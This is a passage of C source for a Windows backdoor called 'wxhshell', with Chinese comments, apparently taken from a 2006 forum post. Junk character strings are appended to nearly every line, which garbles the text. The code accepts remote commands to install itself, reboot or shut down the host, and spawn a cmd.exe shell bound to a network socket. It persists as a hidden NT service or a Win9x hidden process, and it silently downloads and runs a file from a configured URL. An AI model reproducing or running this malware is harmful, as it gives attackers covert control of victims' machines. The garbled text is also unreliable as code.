    switch(cmd[0]) { :F[s  
  se>\5k  
  // 帮助 pd,d"+  
  case '?': { /TB{|_HbW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^A\(M%*F  
    break; ] FvGAG.*  
  } "B +F6  
  // 安装 Pz D30VA  
  case 'i': { 4IY|<  
    if(Install()) ]3 GO_tL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?9eiT:2  
    else zNo"P[J8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tD#)  
    break; #Q=c.AL{  
    } /G]/zlUE  
  // 卸载 L|(U%$  
  case 'r': { bxO/FrwTj{  
    if(Uninstall()) hCgk78O?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H*N{4zBB  
    else as/PM"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y%TY%"<  
    break; @aFk|.6  
    } hD?6RVfG  
  // 显示 wxhshell 所在路径 rk;]7Wu  
  case 'p': { .X.6<@$  
    char svExeFile[MAX_PATH]; rqBoUS4  
    strcpy(svExeFile,"\n\r"); w3b?i89  
      strcat(svExeFile,ExeFile); A{)pzV25  
        send(wsh,svExeFile,strlen(svExeFile),0); y eIS}O  
    break; !or_CJ8%  
    } g__s(  IJ  
  // 重启 ='1hvv/  
  case 'b': { j bT{K|d-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6v%ePFul  
    if(Boot(REBOOT)) ]^wr+9zd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6#jql  
    else { %B1TN#KoT  
    closesocket(wsh); mv,a>Cvs[  
    ExitThread(0); [x=(:soEqC  
    } LN$T.r+  
    break; xf7YIhL^*  
    } aYc<C$:NC"  
  // 关机 X+u1p?  
  case 'd': { %`]!atH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y+g(aak+.  
    if(Boot(SHUTDOWN)) rxy5Nrue  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >P}XCAU  
    else { <RC%<  
    closesocket(wsh); rhaq!s38:  
    ExitThread(0); P&[&Dj  
    } #E\6:UnT  
    break; %8Y+Df;ax  
    } CHO_3QIz  
  // 获取shell -U_,RMw~  
  case 's': { ~g#/q~UE  
    CmdShell(wsh); suWO:]FR  
    closesocket(wsh); ([rSYKpi  
    ExitThread(0); <:nyRy}  
    break; HFyQ$pbBU  
  } !OPHS^L  
  // 退出 x\:KfYr4Y;  
  case 'x': { z_KCG2=5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `]4(Z"R  
    CloseIt(wsh); H{9P=l  
    break; F9las#\J  
    } ;0?OBUDO  
  // 离开 N. nGez  
  case 'q': { /<+`4n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _"t>72 `  
    closesocket(wsh); S+t2k&pm  
    WSACleanup(); &{qKoI]  
    exit(1); >RJ&b  
    break; rADzJ#CU \  
        } KC(z TY  
  } .EjR<UU  
  } )^6Os2  
{;u+?uY  
  // 提示信息 (w(k*b/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AkO);4A;Jd  
} :Zob"*T  
  } 6<5:m:KE  
s0x/2z  
  return; =h ~n5wQG  
} bd27])n(  
1Q9Hs(s  
// shell模块句柄 i tk/1  
int CmdShell(SOCKET sock) >YF=6zq.`  
{ [^/a`Kda8  
STARTUPINFO si; W*(- * \1[  
ZeroMemory(&si,sizeof(si)); 9OY ao  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SwO$UqYU=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CS-jDok  
PROCESS_INFORMATION ProcessInfo; Ar?ZUASJ  
char cmdline[]="cmd"; _T8S4s8q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wy-y-wi:p  
  return 0; ;<b7kepR  
} Sx0{]1J  
yn<J>e  
// 自身启动模式 ^f"|<r  
int StartFromService(void) kG}F/GN?  
{ `2x.-  
typedef struct ^rjUye%EK  
{ 7ju38@+  
  DWORD ExitStatus; jk\V2x@DR  
  DWORD PebBaseAddress; Y"s8j=1m  
  DWORD AffinityMask; Pq(LW(  
  DWORD BasePriority; cyabqx  
  ULONG UniqueProcessId; i`vy<Dvpz  
  ULONG InheritedFromUniqueProcessId; utC^wA5U~  
}   PROCESS_BASIC_INFORMATION; 7 &%#bMnw  
f:~$x  
PROCNTQSIP NtQueryInformationProcess; }?+tX<j  
\M0's&1(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7(^F@,,@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {&B0kjf  
?q2Yk/P  
  HANDLE             hProcess; BTG_c_ ?]e  
  PROCESS_BASIC_INFORMATION pbi; Gui[/iY,F  
uf (_<~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hJk:&!M=T  
  if(NULL == hInst ) return 0; q0vZR"y  
X*5N&AJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UVgSO|Tg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R>;&4Sjr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e:.?T\  
pm:-E(3#  
  if (!NtQueryInformationProcess) return 0; a{rUk%x  
J}#2Wy^{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W5:fY>7  
  if(!hProcess) return 0; ,7k1n{C)  
aU[!*n 4Ux  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rw gj]  
^L7!lzyo  
  CloseHandle(hProcess); &1`Y&x:p  
H/;AlN|!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <$25kb R5K  
if(hProcess==NULL) return 0; Xrpvq(]  
C>,> _  
HMODULE hMod; ! R3P@,j  
char procName[255]; R?- zJ ;  
unsigned long cbNeeded; qcQq.cS_'N  
U^U hZ!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -:J<JX)o  
72*j6#zS  
  CloseHandle(hProcess); KMQPA>w#  
eL}X().  
if(strstr(procName,"services")) return 1; // 以服务启动 `P*BW,P'T  
|90X_6(  
  return 0; // 注册表启动 du#f_|xG  
} Rr[Wka9[  
<63TN`B  
// 主模块 aD_7^8>  
int StartWxhshell(LPSTR lpCmdLine) a1%}Ee  
{ N`N?1!fM<}  
  SOCKET wsl; Zkqq<  
BOOL val=TRUE; ~ L>M-D4o  
  int port=0; 19!;0fe=  
  struct sockaddr_in door; X(3| (1;sV  
Y> }\'$\b  
  if(wscfg.ws_autoins) Install(); EIyFGCw|U  
7-~)/7L  
port=atoi(lpCmdLine); ~%f$}{  
k#8`996P  
if(port<=0) port=wscfg.ws_port; bw7gL\*  
d&f!\n_~  
  WSADATA data; 3?L[ohKH?:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r ) _*MPY  
>+Iph2]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nLv~)IQ}:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Fpeokr"i  
  door.sin_family = AF_INET; de.f?y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n4}e!  
  door.sin_port = htons(port); twbxi{8e.  
8ZM#.yB B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GU/-L<g  
closesocket(wsl); P4eH:0=#  
return 1; `<| <1,  
} |>m'szca4  
8c_X`0jy  
  if(listen(wsl,2) == INVALID_SOCKET) { i ?uX'apk  
closesocket(wsl); B I3fk  
return 1; <hTHY E=  
} r3-<~k-  
  Wxhshell(wsl); P B5h5eX  
  WSACleanup(); .]JIo&>5  
H270)Cwn+  
return 0; k*\)z\f  
gFu,q`Vf*  
} W3\E; C-g0  
z,2*3Be6V  
// 以NT服务方式启动 $ Y^0l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p4UEhT  
{ e5n]@mu%  
DWORD   status = 0; r)K5<[\r  
  DWORD   specificError = 0xfffffff; [?O4l`  
1sonDBd0@;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n00J21  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u U>L (  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p|mFF0SL  
  serviceStatus.dwWin32ExitCode     = 0; (c^ {T)  
  serviceStatus.dwServiceSpecificExitCode = 0; i^ |G  
  serviceStatus.dwCheckPoint       = 0; 3/yt  
  serviceStatus.dwWaitHint       = 0; dC-~=}HR^  
{x_cgsn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ',t*:GBZCf  
  if (hServiceStatusHandle==0) return; ZZTf/s*  
y@1QVt04  
status = GetLastError(); .y3E @0a  
  if (status!=NO_ERROR) 3;> z %{  
{ 0chpC)#Q3;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l}/&6hI+d  
    serviceStatus.dwCheckPoint       = 0; 8TP~=qU  
    serviceStatus.dwWaitHint       = 0; '` 2MxRP  
    serviceStatus.dwWin32ExitCode     = status; x a<KF  
    serviceStatus.dwServiceSpecificExitCode = specificError; $e--"@[Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gau@RX:O  
    return; EJb+yy6  
  } |O oczYf  
4\*:Lc,-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w\eC{,00:  
  serviceStatus.dwCheckPoint       = 0; /4c`[  
  serviceStatus.dwWaitHint       = 0; ?CC.xE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T6=|)UTe1  
} V+@}dJS  
,Tegrz&G  
// 处理NT服务事件,比如:启动、停止 7Hgn/b[?b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rwP)TJh"  
{ % -AcA  
switch(fdwControl) wQjYH!u,YZ  
{ #\QW <I#/  
case SERVICE_CONTROL_STOP: XM w6b*O  
  serviceStatus.dwWin32ExitCode = 0; I2*(v%.-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {f)aFGp  
  serviceStatus.dwCheckPoint   = 0; 5dN>Xjpu  
  serviceStatus.dwWaitHint     = 0; dg|x(p#  
  { F8{gJaP x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fHEIys,{  
  } 8#Z)qQWi_t  
  return; ]BjY UTNm  
case SERVICE_CONTROL_PAUSE: 8]`s&d@GY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L8f+uI   
  break; X';qcn_^  
case SERVICE_CONTROL_CONTINUE: ex1!7A!}g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "5 ~{  
  break; V4ePYud;^  
case SERVICE_CONTROL_INTERROGATE: .PVYYhrt  
  break; _|0#  
}; K{/i2^4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %7aJSuQN%  
} r,0D I  
1+N'cB!y  
// 标准应用程序主函数 6'/ Zq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'iZwM>l\  
{ 7qOkv1.}0  
{nUmlP=mS  
// 获取操作系统版本 5YNAb/! !F  
OsIsNt=GetOsVer(); 1v.#ndk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C=q&S6/+  
&&P9T/Zks  
  // 从命令行安装 g_P98_2f.k  
  if(strpbrk(lpCmdLine,"iI")) Install(); bO/r1W  
8~-TN1H  
  // 下载执行文件 VV/T)qEe7>  
if(wscfg.ws_downexe) { :LNZC,-f}5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wZ\93W-}  
  WinExec(wscfg.ws_filenam,SW_HIDE); NcF>}f,}\  
} V'W*'wo   
.`+~mQ Wn  
if(!OsIsNt) { ]J!#"m-]  
// 如果时win9x,隐藏进程并且设置为注册表启动 m)pHCS  
HideProc(); ?;`GCE  
StartWxhshell(lpCmdLine); !wpK +.D  
} \9V_[xD+  
else ej kUNCKQt  
  if(StartFromService()) =UK:83R(  
  // 以服务方式启动 L v/}&'\(  
  StartServiceCtrlDispatcher(DispatchTable); u;rmqo1  
else RS}_cm0  
  // 普通方式启动 l{C]0^6>i  
  StartWxhshell(lpCmdLine); XfVdYmii  
UMd.=HC L  
return 0; hN=kU9@knC  
}
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只看该作者 1 发表于: 2006-10-10
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